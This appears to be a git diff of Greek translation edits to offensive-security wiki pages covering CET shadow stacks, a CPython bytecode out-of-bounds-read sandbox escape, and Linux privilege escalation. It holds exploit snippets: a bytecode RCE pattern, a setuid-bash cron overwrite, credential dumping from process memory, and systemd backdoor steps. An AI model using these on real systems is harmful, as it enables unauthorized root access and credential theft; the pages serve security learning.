- Για υπόβαθρο και πιο λεπτομερείς πληροφορίες δείτε:
|
||||
- Για υπόβαθρο και πιο λεπτομερείς λεπτομέρειες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -239,18 +239,18 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
(gdb) checksec
|
||||
```
|
||||
- Σημειώσεις για εργαστήρια/CTF:
|
||||
- Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετριαστικές διαδικασίες σε παραγωγικούς στόχους.
|
||||
- Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετρήσεις σε παραγωγικούς στόχους.
|
||||
- Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους `ret`-βασισμένους άξονες.
|
||||
|
||||
- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
|
||||
- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με το CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
|
||||
|
||||
## ARM64
|
||||
|
||||
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το SP register** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύει το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
|
||||
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το SP register** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
|
||||
|
||||
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το SP register** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμα κι αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το `x30`** register.
|
||||
|
||||
- πρόλογος
|
||||
- προλόγος
|
||||
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
Μπορούμε να χρησιμοποιήσουμε τη δυνατότητα OOB read στον opcode LOAD_NAME / LOAD_CONST για να αποκτήσουμε κάποιο σύμβολο στη μνήμη. Αυτό σημαίνει ότι χρησιμοποιούμε κόλπα όπως `(a, b, c, ... εκατοντάδες σύμβολα ..., __getattribute__) if [] else [].__getattribute__(...)` για να αποκτήσουμε ένα σύμβολο (όπως το όνομα μιας συνάρτησης) που θέλουμε.
|
||||
|
||||
Στη συνέχεια, απλά κατασκευάζετε την εκμετάλλευσή σας.
|
||||
Απλά κατασκευάστε την εκμετάλλευσή σας.
|
||||
|
||||
### Overview <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
@ -19,7 +19,7 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Μπορείτε να εισάγετε αυθαίρεο Python κώδικα, και θα μεταγλωττιστεί σε ένα [Python code object](https://docs.python.org/3/c-api/code.html). Ωστόσο, το `co_consts` και το `co_names` αυτού του code object θα αντικατασταθούν με ένα κενό tuple πριν την εκτέλεση αυτού του code object.
|
||||
Μπορείτε να εισάγετε αυθαίρεο Python κώδικα, και θα μεταγλωττιστεί σε ένα [Python code object](https://docs.python.org/3/c-api/code.html). Ωστόσο, το `co_consts` και το `co_names` αυτού του code object θα αντικατασταθούν με ένα κενό tuple πριν την εκτίμηση αυτού του code object.
|
||||
|
||||
Έτσι, με αυτόν τον τρόπο, όλες οι εκφράσεις που περιέχουν σταθερές (π.χ. αριθμούς, συμβολοσειρές κ.λπ.) ή ονόματα (π.χ. μεταβλητές, συναρτήσεις) μπορεί να προκαλέσουν σφάλμα τμηματοποίησης στο τέλος.
|
||||
|
||||
@ -35,9 +35,9 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
Αλλά τι γίνεται αν το `co_names` γίνει κενό tuple; Ο opcode `LOAD_NAME 2` εκτελείται ακόμα και προσπαθεί να διαβάσει την τιμή από τη μνήμη που αρχικά θα έπρεπε να είναι. Ναι, αυτό είναι ένα χαρακτηριστικό ανάγνωσης εκτός ορίων (out-of-bound read).
|
||||
Αλλά τι γίνεται αν το `co_names` γίνει κενό tuple; Ο opcode `LOAD_NAME 2` εκτελείται ακόμα και προσπαθεί να διαβάσει την τιμή από τη μνήμη που αρχικά θα έπρεπε να είναι. Ναι, αυτό είναι ένα χαρακτηριστικό ανάγνωσης εκτός ορίων.
|
||||
|
||||
Η βασική έννοια για τη λύση είναι απλή. Ορισμένοι opcodes στην CPython, για παράδειγμα `LOAD_NAME` και `LOAD_CONST`, είναι ευάλωτοι (?) σε OOB read.
|
||||
Η βασική έννοια για τη λύση είναι απλή. Ορισμένοι opcodes στην CPython, για παράδειγμα `LOAD_NAME` και `LOAD_CONST`, είναι ευάλωτοι (?) σε ανάγνωση εκτός ορίων.
|
||||
|
||||
Ανακτούν ένα αντικείμενο από τον δείκτη `oparg` από το tuple `consts` ή `names` (αυτό είναι που ονομάζονται `co_consts` και `co_names` κάτω από την επιφάνεια). Μπορούμε να αναφερθούμε στο παρακάτω σύντομο απόσπασμα σχετικά με το `LOAD_CONST` για να δούμε τι κάνει η CPython όταν επεξεργάζεται τον opcode `LOAD_CONST`.
|
||||
```c
|
||||
@ -49,7 +49,7 @@ PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
Με αυτόν τον τρόπο μπορούμε να χρησιμοποιήσουμε τη δυνατότητα OOB για να αποκτήσουμε ένα "όνομα" από αυθαίρετη διεύθυνση μνήμης. Για να βεβαιωθούμε ποιο όνομα έχει και ποια είναι η διεύθυνσή του, απλώς συνεχίστε να δοκιμάζετε `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Και θα μπορούσατε να βρείτε κάτι γύρω από oparg > 700. Μπορείτε επίσης να προσπαθήσετε να χρησιμοποιήσετε το gdb για να ρίξετε μια ματιά στη διάταξη της μνήμης φυσικά, αλλά δεν νομίζω ότι θα είναι πιο εύκολο;
|
||||
Με αυτόν τον τρόπο μπορούμε να χρησιμοποιήσουμε τη δυνατότητα OOB για να αποκτήσουμε ένα "όνομα" από αυθαίρετη διεύθυνση μνήμης. Για να βεβαιωθούμε ποιο όνομα έχει και ποια είναι η διεύθυνσή του, απλώς συνεχίστε να δοκιμάζετε `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Και θα μπορούσατε να βρείτε κάτι γύρω από oparg > 700. Μπορείτε επίσης να προσπαθήσετε να χρησιμοποιήσετε το gdb για να ρίξετε μια ματιά στη διάταξη της μνήμης φυσικά, αλλά δεν νομίζω ότι θα ήταν πιο εύκολο;
|
||||
|
||||
### Generating the Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
@ -229,9 +229,9 @@ builtins['eval'](builtins['input']())
|
||||
|
||||
Πρακτική συνέπεια: η τεχνική σε αυτή τη σελίδα συνεχίζει να λειτουργεί σε CPython 3.11, 3.12 και 3.13 όταν μπορείτε να ελέγξετε ένα αντικείμενο κώδικα (π.χ., μέσω `CodeType.replace(...)`) και να μειώσετε τα `co_consts`/`co_names`.
|
||||
|
||||
### Γρήγορος σαρωτής για χρήσιμα OOB ευρετήρια (συμβατά με 3.11+/3.12+)
|
||||
### Γρήγορος σαρωτής για χρήσιμα OOB ευρετήρια (συμβατός με 3.11+/3.12+)
|
||||
|
||||
Εάν προτιμάτε να ερευνήσετε ενδιαφέροντα αντικείμενα απευθείας από το bytecode αντί από υψηλού επιπέδου πηγή, μπορείτε να δημιουργήσετε ελάχιστα αντικείμενα κώδικα και να κάνετε brute force ευρετήρια. Ο βοηθός παρακάτω εισάγει αυτόματα inline caches όταν είναι απαραίτητο.
|
||||
Εάν προτιμάτε να ερευνήσετε ενδιαφέροντα αντικείμενα απευθείας από το bytecode αντί από υψηλού επιπέδου πηγή, μπορείτε να δημιουργήσετε ελάχιστα αντικείμενα κώδικα και να κάνετε brute force ευρετήρια. Ο παρακάτω βοηθός εισάγει αυτόματα inline caches όταν είναι απαραίτητο.
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
@ -270,13 +270,13 @@ obj = probe_const(idx)
|
||||
if obj is not None:
|
||||
print(idx, type(obj), repr(obj)[:80])
|
||||
```
|
||||
Notes
|
||||
Σημειώσεις
|
||||
- Για να ερευνήσετε ονόματα αντί για αυτό, αντικαταστήστε το `LOAD_CONST` με `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` και προσαρμόστε τη χρήση της στοίβας σας αναλόγως.
|
||||
- Χρησιμοποιήστε το `EXTENDED_ARG` ή πολλαπλά bytes του `arg` για να φτάσετε σε δείκτες >255 αν χρειαστεί. Όταν κατασκευάζετε με `dis` όπως παραπάνω, ελέγχετε μόνο το χαμηλό byte; για μεγαλύτερους δείκτες, κατασκευάστε τα ακατέργαστα bytes μόνοι σας ή χωρίστε την επίθεση σε πολλαπλά loads.
|
||||
- Χρησιμοποιήστε `EXTENDED_ARG` ή πολλαπλά bytes του `arg` για να φτάσετε σε δείκτες >255 αν χρειαστεί. Όταν κατασκευάζετε με `dis` όπως παραπάνω, ελέγχετε μόνο το χαμηλό byte; για μεγαλύτερους δείκτες, κατασκευάστε τα ακατέργαστα bytes μόνοι σας ή χωρίστε την επίθεση σε πολλαπλά loads.
|
||||
|
||||
### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input)
|
||||
### Ελάχιστο πρότυπο RCE μόνο με bytecode (co_consts OOB → builtins → eval/input)
|
||||
|
||||
Μόλις έχετε προσδιορίσει έναν δείκτη `co_consts` που επιλύεται στο builtins module, μπορείτε να ανακατασκευάσετε το `eval(input())` χωρίς κανένα `co_names` χειρίζοντας τη στοίβα:
|
||||
Μόλις έχετε προσδιορίσει έναν δείκτη `co_consts` που επιλύεται στο module builtins, μπορείτε να ανακατασκευάσετε το `eval(input())` χωρίς κανένα `co_names` χειραγωγώντας τη στοίβα:
|
||||
```python
|
||||
# Build co_code that:
|
||||
# 1) LOAD_CONST <builtins_idx> → push builtins module
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### OS info
|
||||
|
||||
Ας αρχίσουμε να αποκτούμε κάποιες γνώσεις για το λειτουργικό σύστημα που εκτελείται
|
||||
Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -32,8 +32,8 @@ cat /proc/version
|
||||
uname -a
|
||||
searchsploit "Linux Kernel"
|
||||
```
|
||||
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||||
Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικούς **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||||
Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
|
||||
```bash
|
||||
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg signature verification failed
|
||||
|
||||
Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
|
||||
Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
@ -173,7 +173,7 @@ top -n 1
|
||||
|
||||
### Παρακολούθηση διαδικασιών
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
|
||||
|
||||
### Μνήμη διαδικασίας
|
||||
|
||||
@ -182,7 +182,7 @@ top -n 1
|
||||
Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή**, που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διαδικασιών που ανήκουν στον μη προνομιούχο χρήστη σας.
|
||||
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να αποθηκεύσετε άλλες διαδικασίες που ανήκουν στον μη προνομιούχο χρήστη σας.
|
||||
>
|
||||
> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace:
|
||||
>
|
||||
@ -270,7 +270,7 @@ Press Ctrl-C to end monitoring without terminating the process.
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς
|
||||
- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
|
||||
- Το Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
|
||||
|
||||
### Διαπιστευτήρια από τη Μνήμη Διαδικασίας
|
||||
|
||||
@ -290,14 +290,14 @@ strings *.dump | grep -i password
|
||||
|
||||
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από μερικά **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
|
||||
|
||||
| Χαρακτηριστικό | Όνομα Διαδικασίας |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd |
|
||||
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
|
||||
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
|
||||
| Χαρακτηριστικό | Όνομα Διαδικασίας |
|
||||
| -------------------------------------------------- | --------------------- |
|
||||
| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd |
|
||||
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
|
||||
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -348,21 +348,21 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
|
||||
wildcards-spare-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
### Εγγραφή script cron και symlink
|
||||
### Επικάλυψη σεναρίου Cron και symlink
|
||||
|
||||
Αν **μπορείτε να τροποποιήσετε ένα script cron** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα:
|
||||
Αν **μπορείτε να τροποποιήσετε ένα σενάριο cron** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί έναν **φάκελο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
|
||||
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Συχνές cron εργασίες
|
||||
|
||||
Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κλιμακώσετε τα δικαιώματα.
|
||||
Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να κλιμακώσετε τα δικαιώματα.
|
||||
|
||||
Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
|
||||
```bash
|
||||
@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### Γραφές _.service_ που είναι εγγράψιμες
|
||||
|
||||
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, μπορείτε να το **τροποποιήσετε** ώστε να **εκτελεί** την **πίσω πόρτα** σας όταν η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
|
||||
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** την **πίσω πόρτα σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
|
||||
Για παράδειγμα, δημιουργήστε την πίσω πόρτα σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα
|
||||
|
||||
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με πίσω πόρτες ώστε όταν οι υπηρεσίες εκτελούνται ξανά, οι πίσω πόρτες να εκτελούνται.
|
||||
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με πίσω πόρτες, έτσι ώστε όταν οι υπηρεσίες εκτελούνται ξανά, οι πίσω πόρτες να εκτελούνται.
|
||||
|
||||
### systemd PATH - Σχετικές Διαδρομές
|
||||
|
||||
@ -399,13 +399,13 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα όπως η σχετική διαδρομή του δυαδικού** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (**Start**, **Stop**, **Reload**), η **πίσω πόρτα σας θα εκτελείται** (οι χρήστες χωρίς δικαιώματα συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`).
|
||||
Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα όπως η σχετική διαδρομή του δυαδικού αρχείου** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (**Έναρξη**, **Διακοπή**, **Επαναφόρτωση**), η **πίσω πόρτα σας θα εκτελείται** (οι χρήστες χωρίς δικαιώματα συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες, αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`).
|
||||
|
||||
**Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.**
|
||||
|
||||
## **Χρονοδιακόπτες**
|
||||
|
||||
Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα.
|
||||
Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή τα γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα.
|
||||
|
||||
Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:
|
||||
```bash
|
||||
@ -424,7 +424,7 @@ Unit=backdoor.service
|
||||
Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να:
|
||||
|
||||
- Βρείτε κάποια μονάδα systemd (όπως μια `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο**
|
||||
- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτή η εκτελέσιμη)
|
||||
- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτό το εκτελέσιμο)
|
||||
|
||||
**Μάθετε περισσότερα για τους χρονοδιακόπτες με `man systemd.timer`.**
|
||||
|
||||
@ -435,21 +435,21 @@ Unit=backdoor.service
|
||||
sudo systemctl enable backu2.timer
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
|
||||
```
|
||||
Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
|
||||
Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας έναν symlink σε αυτόν στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
|
||||
|
||||
## Sockets
|
||||
|
||||
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τυπικά αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
|
||||
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τα πρότυπα αρχεία περιγραφής Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
|
||||
|
||||
Οι Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`.
|
||||
|
||||
**Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, το IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
|
||||
- `Accept`: Δέχεται μια boolean παράμετρο. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
|
||||
